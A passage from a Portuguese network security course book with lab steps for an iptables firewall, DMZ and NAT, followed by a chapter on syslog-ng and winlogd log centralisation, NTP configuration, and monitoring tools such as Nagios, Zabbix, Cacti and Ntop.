Adicione as regras abaixo para deixar a política padrão do firewall o mais
restritiva possível.
*filter
:INPUT DROP
:FORWARD DROP
:OUTPUT ACCEPT
COMMIT

Passo 4 Aplique as regras do arquivo de configuração ao firewall da máquina com o


seguinte comando:
# iptables-restore < /etc/iptables.up.rules

Passo 5 Teste o funcionamento do firewall. Na máquina Windows XP realize o teste de


ping no firewall, com o comando:
c:\> ping 10.1.G.1
Segurança de Redes e Sistemas

74
Passo 6 Edite novamente o arquivo de configuração do firewall e adicione as regras
que permitam o gerenciamento e o troubleshooting do firewall, permitindo
acesso SSH e ping originados da máquina Windows XP:
# Permite todo tráfego loopback
-A INPUT -i lo -j ACCEPT
-A INPUT -i ! lo -d 127.0.0.0/8 -j REJECT

# permite manutenção do estado de conexões


-A INPUT –m state –-state ESTABLISHED,RELATED –j ACCEPT

# Permite gerência via SSH


-A INPUT -p tcp -s 10.1.G.10 --dport 22 –m state –-state
NEW,ESTABLISHED -j ACCEPT

# Permite PING
-A INPUT -p icmp -s 10.1.G.10 -m icmp -j ACCEPT

Para aplicar a configuração atualizada no arquivo:


# iptables-restore < /etc/iptables.up.rules

Para verificar as regras aplicadas no firewall:


FWGW1-A:~# iptables -L -n

Passo 7 Realize novamente o teste do Passo 6.

Passo 8 Acesse o firewall com o protocolo SSH a partir da máquina Windows XP utili-
zando o aplicativo Putty.

Capítulo 3 - Roteiro de Atividades

75
Acesso através do firewall da rede local à DMZ
Configure no firewall permissão de acesso somente dos pacotes originados nas máquinas da
rede local que atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9.

Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usuário aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de


comunicação das máquinas da rede local com os serviços da DMZ.
Adicione as seguintes regras:
# Permite as conexões estabelecidas
-A FORWARD -m state --state ESTABLISHED,RELATED –j ACCEPT
# Acesso da Rede Local a DMZ
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
80 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
443 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
21 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
3389 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
123 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
80 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
5432 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
25 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
110 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
22 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
53 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
123 -j ACCEPT

Passo 3 Aplique a nova configuração ao firewall com o comando:


# iptables-restore < /etc/iptables.up.rules
Segurança de Redes e Sistemas

Passo 4 Realize teste de conexão a partir da máquina Windows XP ao servidor web


do LinServer.

Passo 5 Conecte via SSH utilizando o aplicativo Putty no LinServer.

76
Acesso através do firewall da DMZ à internet
Configure no firewall permissão de acesso somente dos pacotes originados nos servidores da
DMZ que atravessarão o firewall com destino à internet.

Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usuário aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de


comunicação das máquinas da rede local com a internet.
Exemplo:
# Acesso a internet da DMZ
-A FORWARD -p tcp -s 172.16.G.0/24 -o eth0 -j ACCEPT
-A FORWARD -p udp -s 172.16.G.0/24 -o eth0 -j ACCEPT

Passo 3 Aplique a nova configuração no firewall com o comando:


# iptables-restore < /etc/iptables.up.rules

Passo 4 Realize teste de conexão a partir da máquina da rede DMZ. Por exemplo: veri-
fique se o servidor LinServer estabelece conexão no repositório do Debian,
para saber se existem atualizações para os pacotes instalados no sistema,
com o comando:
# apt-get check-update
Observe que o acesso à internet ainda não será possível por ainda faltar a
configuração da tradução de endereços (NAT).

Capítulo 3 - Roteiro de Atividades

77
Acesso através do firewall da internet à DMZ
Configure no firewall permissão de acesso somente dos pacotes originados na internet, que
atravessarão o firewall com destino aos serviços da DMZ descritos na Figura 3.9.

Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usuário aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de


comunicação das máquinas da rede local com a internet.
Exemplo:
# Acesso da Internet a DMZ
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 80 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 443 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 21 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 3389 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.20/32 --dport 123 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 80 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 5432 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 25 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 110 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 22 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 53 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 123 -j
ACCEPT

Passo 3 Aplique a nova configuração no firewall com o comando:


# iptables-restore < /etc/iptables.up.rules
Segurança de Redes e Sistemas

78
Atividade 5 – Controle de NAT
O principal objetivo desta atividade é demonstrar o entendimento do funcionamento dos
tipos de NAT e aplicá-los em uma simulação de caso real.

Utilizando os conceitos aprendidos, será necessário configurar o NAT no gateway FWGW1


para permitir o acesso à internet das máquinas da rede local e da DMZ. Também será neces-
sária a configuração do NAT para publicação dos serviços da DMZ na internet.

Qual tipo de NAT é necessário configurar em cada um dos casos?

1. Configure no firewall o tipo de NAT necessário para permitir o acesso dos servidores da
DMZ à internet.

Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usuário aluno e mude para acesso privilegiado com o comando:
sudo su -
Carregue o módulo de NAT:
# modprobe iptable_nat

Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de comuni-


cação de NAT das máquinas da rede local à internet.
No início do arquivo de configuração do firewall (/etc/iptables.up.rules),
adicione as seguintes linhas:
*nat
:PREROUTING ACCEPT
:POSTROUTING ACCEPT
:OUTPUT ACCEPT

# NAT de saída da rede DMZ para a internet


-A POSTROUTING -s 172.16.G.0/24 -o eth0 -j MASQUERADE
COMMIT

Passo 3 Aplique a nova configuração ao firewall com o comando:


# iptables-restore < /etc/iptables.up.rules

Passo 4 Realize teste de conexão a partir da máquina da rede DMZ: com o comando abaixo,
verifique se o servidor LinServer estabelece conexão no repositório do Debian,
para saber se existem atualizações para os pacotes instalados no sistema:
# apt-get update
Capítulo 3 - Roteiro de Atividades

79
2. Configure no firewall o tipo de NAT necessário para publicar os serviços do LinServer da
DMZ na internet.

Passo 1 A partir da máquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usuário aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2 Edite o arquivo de configuração do firewall para permitir as regras de comuni-


cação de NAT necessárias para publicar os serviços da DMZ na internet.
# NAT de Entrada da Internet para o LinServer da DMZ
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 5432 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 25 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 110 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p udp -m udp --dport 53 -j DNAT
--to-destination 172.16.G.10

Passo 3 Aplique a nova configuração ao firewall com o comando:


# iptables-restore < /etc/iptables.up.rules

Passo 4 Solicite a um colega de outro grupo para acessar os serviços disponíveis em sua
DMZ; é necessário passar o endereço IP público da publicação dos serviços.

Atividade 6 – Gerenciamento gráfico do Firewall Builder


Baixe da internet a última versão de demonstração de 30 dias do Firewall Builder. Instale o
aplicativo no host Windows XP.

Adicione o firewall FWGW1 como objeto e siga as orientações iniciais do instrutor para
concluir as seguintes atividades:

11 Configure as regras de filtro de pacotes da atividade 1.1 e gere o arquivo de configuração.


Compare a sintaxe com as atividades já realizadas.

11 Configure as regras de NAT já aprendidas nas atividades anteriores e gere o arquivo de


configuração. Compare a sintaxe do arquivo gerado com as atividades já realizadas.

Atividade 7 – Identificando as regras do firewall


As regras abaixo listadas são interessantes de serem utilizadas em um firewall com Iptables.
Observe cada uma das regras abaixo e realize uma descrição sucinta do seu objetivo e uso.
Segurança de Redes e Sistemas

-A INPUT –p tcp ! –syn –m state --state NEW –j DROP

-A INPUT –f –j DROP

-A INPUT –p tcp --tcp-flags ALL ALL –j DROP

-A INPUT –p tcp --tcp-flags ALL NONE –j DROP

-A INPUT –s 127.0.0.1 –i eth0 –j DROP

-A INPUT ! –s 172.16.G.0/24 –i eth1 –j DROP

80
4
Serviços básicos de segurança
objetivos

Apresentar os serviços fundamentais para buscar evidências de problemas nos


sistemas computacionais em rede.

conceitos
Gerenciamento de logs, sincronismo de tempo e monitoramento de serviços.

Introdução
Neste capítulo, serão apresentadas técnicas e tecnologias para o monitoramento de dispositivos
e recursos de redes. Ao final, o aluno será capaz de compreender as técnicas e realizar a configu-
ração de ferramentas de sincronismo de tempo, centralização de logs e monitoria de serviços.

Este capítulo não tem o objetivo de instruir o aluno na instalação dessas ferramentas;
para isso, recomendamos a consulta aos sites de cada ferramenta. Para a realização das
atividades em laboratório, as ferramentas serão instaladas com foco no entendimento de
seu funcionamento e configuração.

Exercício de nivelamento 1 e
Serviços básicos de segurança
O que você entende monitoramento dos recursos de redes?

O que são logs?


Capítulo 4 - Serviços básicos de segurança

Gerenciamento de logs
11 Gerenciamento centralizado. q
11 Requisitos de gerenciamento de logs.

11 Preservação dos registros em caso de falha do dispositivo.

11 Proteção contra sistemas ou usuários mal-intencionados.

O uso de serviços de log centralizados é importante para o gerenciamento de falhas nos dis-
positivos e no gerenciamento da segurança com a preservação do registro de eventos em

81
casos de falhas de sistema ou comprometimento de algum dispositivo da rede. Cada orga-
nização possui requisitos diferentes de gerenciamento de logs, que determinarão o detalha-
mento dos logs coletados, por quanto tempo serão armazenados e como serão analisados.

No gerenciamento de logs, o objetivo é concentrar em um sistema todos os eventos dos equi-

d
pamentos da rede, softwares de segurança, sistemas operacionais e aplicativos.

É necessário concentrar esforços para que esses dados não sejam comprometidos por sis- Saiba mais
temas mal-intencionados. Eles serão úteis na análise de incidentes de segurança ou falhas
Para definir a estratégia
computacionais. Para isso é necessário que o servidor de logs esteja protegido por um de logs, recomendamos
sistema de controle de perímetro, já mencionado nas sessões anteriores. Também é neces- o artigo Guide to
Computer Security Log
sária a realização de uma configuração segura do servidor, o que será visto adiante.
Management, de Karen
Kent e Murugiah
Syslog-ng Souppaya, do NIST

q
(National Institute
Source of Standarts and
Technology).
É como o syslog-ng vai receber as mensagens. Exemplo: Unix socks“/dev/log” ou outras
fontes.

Destination

É para onde serão enviados ou guardados os logs recebidos pelo syslog-ng. Exemplo:
arquivo local, rede, SGDB Oracle, MySQL etc.

Log Paths

No syslog-ng podem ser definidas várias origens e destinos. O objeto “global log” define
o destino de cada origem ou de um conjunto delas.

Filter

Os filtros do syslog-ng incrementam a forma como serão realizados os caminhos dos logs:

11 Syslog-ng como agente.

11 Syslog-ng como servidor.

O syslog-ng é uma ferramenta distribuída com a licença de software livre, muito utilizada
atualmente. É uma solução que, pela sua qualidade do código, permite a criação de um ser-
vidor de logs na rede para vários clientes.

O syslog-ng é uma implementação do protocolo Syslog, definido pela RFC 5424 – The Syslog
Protocol. Essa RFC define o protocolo e uma série de particularidades, incluindo a porta
padrão do protocolo (UDP 514) e as facilidades e severidades. As facilidades são categorias
que indicam a origem da mensagem. Através delas é possível separar os registros de log em
arquivos separados, organizando melhor as informações. A lista a seguir apresenta todas as
facilidades definidas na RFC, com seus respectivos códigos e siglas:

Código Nome Sigla


Segurança de Redes e Sistemas

0 kernel messages kern

1 user-level messages user

2 mail system mail

3 system daemons daemon

4 security/authorization messages auth

5 messages generated internally by syslogd syslog

82
Código Nome Sigla

6 line printer subsystem lpr

7 network news subsystem news

8 UUCP subsystem uucp

9 clock daemon cron

10 security/authorization messages authpriv

11 FTP daemon ftp

12 NTP subsystem ntp

13 log audit audit

14 log alert alert

15 clock daemon cron

16 local use 0 local0

17 local use 1 local1

18 local use 2 local2

19 local use 3 local3

20 local use 4 local4

21 local use 5 local5

22 local use 6 local6

23 local use 7 local7

Conforme já mencionado, além das facilidades, temos ainda as severidades, que indicam
o nível de “profundidade” do registro de log correspondente. As severidades definidas no
padrão estão na tabela abaixo:

Código Descrição Sigla

0 Emergency emerg

1 Alert alert
Capítulo 4 - Firewall – Conceitos e Implementação
2 Critical crit

3 Error err

4 Warning warning

5 Notice notice

6 Informational info

7 Debug debug

Quando uma severidade 0 é definida no sistema, significa que apenas as mensagens


emergenciais serão registradas. À medida que o código da severidade vai aumentando,
temos mais detalhes do sistema e por consequência a quantidade dos registros aumenta

83
até a severidade 7, onde todas as ações são registradas. A severidade 7 é útil no auxílio de
resolução de problemas, como quando um determinado sistema não está se comportando
como se espera.

O syslog-ng é suportado por ambientes heterogêneos, podendo ser configurado em máquinas


Linux, BSD e Unix como agente e servidor. Quando o syslog-ng é utilizado como agente ou
servidor, é possível que as mensagens sejam transmitidas de forma criptografada na rede.
É possível também sua configuração em sistemas MS Windows, mas somente como agente.

O syslog-ng é configurado editando o arquivo de configuração “syslog-ng.conf”. q


O conceito da configuração do syslog-ng é definir os objetos globais, que são:

11 Source: é como o syslog-ng vai receber as mensagens; como agente, ele pode receber
os logs do sistema do arquivo especial do Unix socks “/dev/log” ou outras fontes.

11 Destination: é para aonde serão enviados ou guardados os logs recebidos pelo


syslog-ng; o destino pode ser um arquivo local, um servidor de Syslog na rede ou
até mesmo um servidor de banco de dados Oracle, MySQL, Microsoft SQL Server ou
outros destinos.

11 Log Paths: no syslog-ng podem ser definidas várias origens e destinos; o objeto
“global log” define o destino de cada origem ou de um conjunto delas.

11 Filter: os filtros do syslog-ng incrementam a forma como serão realizados os cami-


nhos dos logs; assim, uma origem ou um grupo de origens não precisa necessaria-
mente ser encaminhado para um destino ou um grupo de destinos, sendo possível
filtrar cada tipo de mensagem de origem e com base nesse filtro escolher o destino.

O fluxo do syslog-ng é ter uma origem ou um conjunto delas, um filtro e um destino ou um


conjunto deles, conforme ilustra a próxima figura.

Origem 1 Destino 1

Filtro
Origem 2 Destino 2

Origem n Destino n Figura 4.1


Fluxo syslog-ng.

Syslog-ng como agente


Se, por exemplo, em um servidor Linux desejamos enviar todas as mensagens do q
Segurança de Redes e Sistemas

sistema e do próprio syslog-ng para um servidor syslog-ng da rede configurada com o


endereço IP 10.20.30.2 na porta UDP 514, teremos a seguinte sintaxe para o arquivo de
configuração “syslog-ng.conf”:

source s_local { unix-stream(“/dev/log”); internal(); };


destination d_syslog-server {udp(“10.20.30.2” port(514)); };
log { source(s_local); destination(d_syslog-server); };

84
Syslog-ng como servidor
Neste exemplo, teremos a sintaxe do arquivo de configuração do servidor syslog-ng q
para receber as mensagens dos agentes. Dessa forma, o servidor está configurado para
receber as mensagens de syslog na porta UDP 514 e armazenar no arquivo do cliente
específico do diretório “/var/log/agente.log”, onde o termo agente será substituído pelo
hostname do agente:

source s_rede { udp(ip(10.20.30.2 port(514)); };


destination d_hosts-file {file(“/var/log/$HOSTS.log“); };
log { source(s_rede); destination(d_hosts-file); };
As facilidades podem ser configuradas no syslog-ng através dos filtros, como no exemplo
de configuração abaixo:

filter f_cron { facility(cron); };


log { source(s_local); filter (f_cron); destination (d_net); };
As severidades podem ser configuradas conforme o exemplo abaixo:

filter f_debug { level(debug); };


filter f_at_least_info { level(info..emerg); };

No exemplo anterior, verifica-se que pode ser criado um filtro contendo mais de uma severidade.

Exercício de fixação 1 e
Gerenciamento de logs
Explique os objetivos do gerenciamento de logs.

Exercício de fixação 2 e
Syslog
O que é um syslog-ng?

Capítulo 4 - Firewall – Conceitos e Implementação

Logs do Windows
Os logs centralizados possibilitam a análise de correlação de logs q
11 http://www.syslog.org/wiki/Main/LogAnalyzers

11 http://www.ossec.net/

WinLogd é um sistema capaz de capturar os logs do Microsoft Windows e enviá-los para


o sistema de syslog Unix, como o syslog-ngUma vantagem importante da centralização
de logs é a possibilidade de analisar a correlação entre eles, de modo a confrontar logs de
diferentes origens e chegar a conclusões interessantes sobre o funcionamento da rede.

85
Outra questão importante a ser considerada é o registro de logs em sistemas Windows.
Infelizmente, o padrão Syslog é um padrão Unix, de modo que os sistemas Windows não
w
Para indicações de
o utilizam de forma nativa. Dessa forma, não é possível, utilizando apenas os recursos do analisadores de log:
sistema operacional, redirecionar os registros de log gerados por um sistema Windows para http://www.syslog.org/
wiki .Um analisador e
o syslog-ng, como foi feito antes para sistemas Unix. Apesar disso, existem algumas ferra-
correlacionador de logs
mentas que permitem a compatibilidade entre o sistema de logs do Windows e o syslog-ng. utilizado pela comuni-
dade de segurança
Uma ferramenta simples e gratuita é o Winlogd: é o OSSEC.

1. Baixe o winlogd.exe no site indicado e copie para o diretório system32, dentro do diretório
de instalação do Windows.

2. Execute winlogd –i para fazer a instalação como um serviço do Windows.

3. Configure o winlogd para enviar os logs para o servidor do syslog-ng, utilizando o registro
do Windows (regedit). Os parâmetros são os seguintes (observe que 202 em hexadecimal
equivale a 514 em decimal e que o parâmetro Server deve ser alterado para o endereço IP
do servidor syslog-ng):

3.1. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\winlogd\Parameters]

3.2. “Facility”=”local3” /* string para facilitar a identificação da origem dos logs no


servidor central */

3.3. “Port”=dword:00000202 /* porta UDP, que será utilizada para envio dos logs: 514
é a porta padrão do syslog */

3.4. “Server”=”192.168.42.7” /* /* endereço do servidor/local para aonde serão


enviados os logs */

4. Inicie o serviço com o comando net start winlogd.

5. Configure o syslog-ng para receber os logs. Exemplo de configuração:

source s_net { udp(ip(192.168.42.2) port(514)); };

filter f_winlogd { facility(local3); };

destination d_winlogd { file(“/var/log/winlogd”); };

log { source(s_net); filter(f_winlogd); destination(d_winlogd); }

Qualquer mudança de configuração no winlogd para se tornar efetiva deve ser precedida do
reinício do serviço, que pode ser feito com os seguintes comandos:

net stop winlogd

net start winlogd

q
Segurança de Redes e Sistemas

Plugins NTP:

11 NTPD

11 NetTime

O NTP pode ser configurado como servidor ou cliente. É um protocolo para sincronização
dos relógios dos computadores, baseado em uma fonte confiável: os relógios atômicos do
Observatório Nacional, que definem a hora legal brasileira. Site do NTP: www.ntp.org.

86
O site armazena o projeto NTP, que desenvolve uma ferramenta de sincronização de reló-
gios para computadores Linux, Unix, VMS e Windows. O NTP pode ser configurado como
servidor, como cliente e/ou as duas funcionalidades ao mesmo tempo. Assim, podemos
buscar uma fonte de relógio externa, se assim desejarmos, e redistribuir essa fonte de hora
confiável para a configuração dos relógios das máquinas da rede interna. A configuração do
NTP ocorre com a edição do arquivo ntp.conf, localizado normalmente em /etc/ntp.conf nos
servidores Unix. Segue um exemplo de configuração do NTP utilizando como referência os
relógios do Comitê Gestor da Internet do Brasil (CGI.br):

# “memória” para o escorregamento de frequência do micro

# pode ser necessário criar esse arquivo manualmente com

# o comando touch ntp.drift

driftfile /etc/ntp.drift

# estatísticas do ntp que permitem verificar o histórico

# de funcionamento e gerar gráficos

statsdir /var/log/ntpstats/

statistics loopstats peerstats clockstats

filegen loopstats file loopstats type day enable

filegen peerstats file peerstats type day enable

filegen clockstats file clockstats type day enable

# servidores públicos do projeto ntp.br

server a.ntp.br iburst

server b.ntp.br iburst

server c.ntp.br iburst

# outros servidores Capítulo 4 - Firewall – Conceitos e Implementação

# server outro-servidor.dominio.br iburst

# configurações de restrição de acesso

restrict default kod notrap nomodify nopeer

Para iniciar o NTP pela primeira vez, utilize o comando: # ntpd –q –g

87
Dessa forma, o NTP será forçado a sincronizar o relógio local da máquina, mesmo que ele
esteja com diferença superior a 16 minutos do servidor NTP da rede. Após iniciar o NTP, você
pode deixá-lo rodando na máquina como deamon, com o seguinte comando:

# ntpd

Para consultar o estado do aplicativo NTP, utilize o seguinte comando:

# ntpq -c pe
remote refid st t when poll reach delay offset jitter
==========================================================================
*b.ntp.br 200.20.186.76 2 u - 64 1 34.838 -32.439 29.778
c.ntp.br 200.20.186.76 2 u 1 64 1 9.252 -33.407 4.105
#

A saída do comando inclui as seguintes informações:

11 remote: nome ou IP da fonte de tempo.

11 refid: identificação da referência (par do sistema) a qual o servidor de tempo remoto está
sincronizado.

11 st: o estrato da fonte de tempo.

11 when: quantos segundos se passaram desde a última consulta a essa fonte de tempo.

11 poll: intervalo em segundos de cada consulta a essa fonte.

11 reach: registrador de 8 bits, que vai girando para a esquerda, representado na forma
octal, que mostra o resultado das últimas 8 consultas à fonte de tempo: 377 = 11.111.111
significa que todas as consultas foram bem-sucedidas; outros números indicam falhas;
375 = 11.111.101, por exemplo, indica que a penúltima consulta falhou.

11 delay: tempo de ida e volta, em milissegundos, dos pacotes até essa fonte de tempo.

11 offset: deslocamento, ou quanto o relógio local tem de ser adiantado ou atrasado (em
milissegundos) para ficar igual ao da fonte de tempo.

11 jitter: a variação, em milissegundos, entre as diferentes medidas de deslocamento para


essa fonte de tempo.

Exercício de fixação 3 e
Logs do Windows
Explique como funciona o log no Windows?
Segurança de Redes e Sistemas

Exercício de fixação 4 e
NTP
O que é um NTP?

88
Monitoramento de serviços
As ferramentas de monitoramento são um subconjunto do universo de ferramentas q
de gerenciamento que estão focadas em obter informações sobre elementos de infra-
estrutura de TI. Entre as ferramentas de monitoramento, destacamos algumas com o
código-fonte aberto e distribuído sob a licença GNU GPL.

Nagios
O Nagios é uma ferramenta de gerenciamento que monitora os elementos e serviços q
de rede. Os dados são coletados através de testes que simulam o funcionamento de
aplicações como: File Transfer Protocol (FTP); Secure Shell (SSH); Hypertext Transfer Pro-
tocol (HTTP); Simple Mail Transfer Protocol (SMTP); Post Office Protocol version 3 (POP3);
Network Time Protocol (NTP); Internet Control Message Protocol (ICMP); ou através de
plugins adicionais que podem ser desenvolvidos e integrados ao Nagios.

Diversos plugins estão disponíveis na internet e podem ser utilizados pelo administrador
para testes mais completos. A interatividade com o administrador baseia-se no envio de
mensagem eletrônica, alerta no console e mensagem SMS para celulares sobre o pro-
blema ocorrido. O grande destaque dessa ferramenta é a possibilidade de classificação de
grupos de usuários para receber relatórios e alertas do sistema. Por exemplo, o problema
de um determinado servidor pode ser comunicado ao responsável pelo serviço, bem
como para uma equipe responsável pelos equipamentos ou ativos de rede. Toda a sua
configuração é realizada em arquivos de texto e, a interface com o usuário, realizada em
um console web. É possível obter relatórios de disponibilidade e planejar ações corretivas
para os problemas ocorridos em equipamentos da rede. A figura a seguir apresenta a tela
Figura 4.2
Sumário dos principal do Nagios, onde se pode ter uma visão abrangente do estado dos servidores que
eventos do Nagios. estão sendo monitorados pela ferramenta.

Capítulo 4 - Firewall – Conceitos e Implementação

89
Existe ainda o projeto Fully Automated Nagios (FAN), que tem por objetivo prover uma
instalação facilitada do Nagios e ferramentas auxiliares providas pela comunidade.
O projeto FAN disponibiliza inclusive uma imagem em CD-ROM (ISO), que facilita a insta-
lação de um servidor Nagios.

Zabbix
O Zabbix é uma ferramenta de gerenciamento que monitora os elementos e serviços q
de rede. Os dados são coletados através de consultas ao SNMP (Simple Network
Management Protocol), de ferramentas de testes que simulam o funcionamento das apli-
cações FTP (File Transfer Protocol), SSH (Secure Shell), HTTP (Hypertext Transfer Protocol)
ou através de plugins adicionais que podem ser desenvolvidos e integrados ao Zabbix.

Todos os dados coletados pelo Zabbix são armazenados em uma base de dados SQL
(Structured Query Language), permitindo a geração de relatórios pré-definidos e personali-
zados, e ainda a utilização de ferramentas especializadas para gerar relatórios. Entre os relató-
rios padrão gerados pelo Zabbix, temos os relatórios de disponibilidade, de nível de serviços,
de tráfego de rede e de utilização de recursos, como CPU (Central Processing Unit) e memória.

Toda a configuração do Zabbix é realizada através de uma interface web clara e amigável.
Os alarmes são emitidos no console web do usuário, via recursos de áudio, mensagens
eletrônicas e/ou envio de SMS (Short Message Service) para aparelhos celulares. O Zabbix
permite a geração de gráficos on-line e oferece ao administrador a possibilidade de criar
mapas personalizados da rede. A seguir imagem de uma tela de monitoramento do Zabbix.

Figura 4.3
Tela de monitora-
mento do Zabbix.

Cacti
q
Segurança de Redes e Sistemas

Ferramenta de monitoração criada por Ian Berry. Surgiu como uma opção de frontend
(interface gráfica com o usuário para interagir com programas) que apresenta os gráficos
dos dados obtidos através de consultas SNMP ou de scripts. Esses dados são armaze- Round-Robin
nados pelo Round-Robin Database Tool (RRDTool). Database Tool
Software que armazena
e mostra dados em
série obtidos em um
determinado período de
tempo.

90
Figura 4.4
Configuração
do Cacti.

O Cacti disponibiliza um ambiente de configuração e operação agradável e acessível (inter-


face web escrita em PHP), com controle de acesso por nível de usuário. As informações de
configuração são armazenadas em um banco de dados SQL. Sua arquitetura prevê a possi-
bilidade de expansão através de plugins, que adicionam novas funcionalidades, tornando-o
ainda mais completo. O Cacti é muito usado em monitoramento de links WAN, por conta
da sua facilidade na criação de gráficos para monitorar a banda nos links contratados por
operadoras. Apesar dessa funcionalidade importante, o Cacti pode ainda monitorar uma
série de parâmetros importantes, como consumo de CPU, memória e espaço em disco, entre
outros. A sua capacidade de apresentar os dados de maneira gráfica o torna um excelente
complemento para o Nagios na tarefa de monitoramento.

Capítulo 4 - Firewall – Conceitos e Implementação

Figura 4.5
Exemplos de
gráficos Cacti.

91
Existe ainda uma versão facilitada, que oferece uma distribuição Linux com o Cacti
pré-instalado. Ela se chama CactiEZ e é uma boa opção para iniciantes que querem
começar rapidamente a utilização da ferramenta.

Ntop
O Network Traffic Probe (Ntop) é uma ferramenta livre para análise de tráfego de rede. q
Possui um servidor HTTP (Hypertext Transfer Protocol) e HTTPS (Hypertext Transfer
Protocol Secure) nativo, que apresenta uma série de gráficos do tráfego e estatísticas da
rede. Possui ainda um modo interativo no console de texto. Principais objetivos:

11 Monitoramento e medida do tráfego.

11 Planejamento e personalização da rede.

11 Detecção de violações na segurança.

Com desenvolvimento iniciado em 1998 por Luca Deri, o Ntop opera nas plataformas Unix
(incluindo Linux, BSD, Solaris e MacOSX) e Microsoft Windows. A coleta de informações é
feita através da análise do tráfego das informações que passam pelas interfaces da rede
local. Principais características:

11 Suporte ao Cisco NetFlow/sFlow.

11 Identificação de sub-redes e seus usuários.

11 Suporte ao WAP (Wireless Application Protocol).

11 Ordenação de tráfego.

A figura seguinte mostra a estrutura funcional do Ntop, seus módulos e os itens que
completam a ferramenta:

11 Servidor web (HTPS/HTTPS).

11 Banco de dados (ODBC SQL).

11 Protocolos (UDP/SNMP).

Máquina de relatório (servidor web) Plugins (banco de dados)

Analisador de pacote Regras de tráfego (SNMP)

Investigador do pacote

Figura 4.6
Arquitetura
Cabo Ethernet do Ntop.

Avaliação das ferramentas


q
Segurança de Redes e Sistemas

As ferramentas apresentadas podem ser classificadas em três grupos:

11 Ferramentas de monitoração de serviços, como Nagios e Zabbix.Ferramentas espe-


cializadas na geração de gráficos, como Cacti e Zabbix.Ferramentas de classificação
de tráfego, como Ntop .

O Zabbix é uma ferramenta com algumas características que permitem que ela seja clas-
sificada também como ferramenta especializada na geração de gráficos, ainda que estes
gráficos possuam menos recursos funcionais que os gráficos do Cacti.

92
Quase todas as ferramentas mencionadas são fáceis de instalar. A configuração do Nagios é
complexa por exigir a manipulação de vários arquivos de texto. As demais ferramentas
possuem interface web para configuração, estando bem documentadas e com vários artigos
de referência publicados na internet.

Características Nagios Zabbix Cacti Ntop

Open Source Sim Sim Sim Sim

Console web Sim Sim Sim Sim

Administração web Não Sim Sim Sim

Monitoramento de serviços Sim Sim Via plugin Não

Relatórios de disponibilidade Sim Sim Via plugin Não

Coleta de dados SNMP Via plugin Sim Sim Não

Monitoramento de recursos Sim Sim Sim Não

Mapas de rede Sim Sim Via plugin Tráfego

Classificação do tráfego de rede Não Via plugin Via plugin Sim


Figura 4.7
Comparação de Coleta de Network Flows Não Não Não Sim
características das
Detecção de violações de segurança Não Não Não Sim
ferramentas.

Vantagens do Cacti
Dentre as opções apresentadas, o Cacti foi escolhido para ser a ferramenta usada neste q
curso, pelas seguintes razões:

11 Ser simples de usar e adequado para um ambiente de laboratório.

11 Apresentar uma plataforma bem documentada.

11 Possuir um agente eficiente com possibilidade de expansão de características (uso de


registros gerados por ferramentas externas).

11 Possuir arquitetura modular, que permite a integração de novos plug-ins.

11 Capacidade de gerar gráficos.

11 Capacidade de coletar informações por consultas SNMP.

Apesar das atividades práticas deste capítulo trabalharem apenas com a ferramenta Cacti, Capítulo 4 - Firewall – Conceitos e Implementação
